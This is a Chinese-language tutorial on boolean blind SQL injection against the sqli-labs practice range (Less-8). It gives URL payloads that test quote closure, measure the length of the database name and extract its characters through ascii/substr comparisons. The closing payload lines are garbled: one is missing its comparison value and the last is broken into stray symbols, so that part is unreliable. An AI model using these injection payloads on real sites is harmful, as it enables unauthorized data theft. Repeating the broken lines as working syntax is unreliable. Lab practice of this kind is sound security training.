前言
靶场环境使用 sqli-labs,推荐在本地搭建练习:
- 通用版本:sqli-labs
- PHP7 兼容版本:sqli-labs-php7
靶场题目:Less-8
Less-8 是 sqli-labs 中经典的布尔盲注题目。页面特征如下:
- 查询成功时显示固定字符串(如 "You are in…")
- 查询失败或条件不成立时页面为空
- 没有任何报错信息,没有数据回显
正是这种 "只告诉你对不对、不告诉你答案是什么" 的特性,构成了布尔盲注的标准场景。
手工注入:完整流程走一遍
第一步:确认注入点类型
通过尝试不同的闭合符号来判断 SQL 语句的结构:
?id=1' → 页面异常(单引号破坏了 SQL 语句)
?id=1' --+ → 页面恢复正常(注释掉了后半段)
?id=1' and 1--+ → 正常
?id=1' and 0--+ → 异常
and 1 正常、and 0 异常,说明我们的条件语句可以影响查询结果,注入点确认。
第二步:测量数据库名长度
在开始逐字符爆破之前,先确认目标字符串的长度,可以减少无效请求:
?id=1' and (select length(database()))=8--+
页面正常,说明当前数据库名长度恰好为 8。通过逐个尝试 1、2、3…可以精确定位长度。
第三步:逐字符爆破数据库名
核心思路是用 ascii() 将字符转为数字,再通过等号或大小于号进行比较:
-- 判断第 1 个字符的 ASCII 码是否等于 115(即字母 's')
?id=1' and (select ascii(substr(database(),1,1))) = +
也可以先用不等式缩小范围
?='(select (((),,)))<+

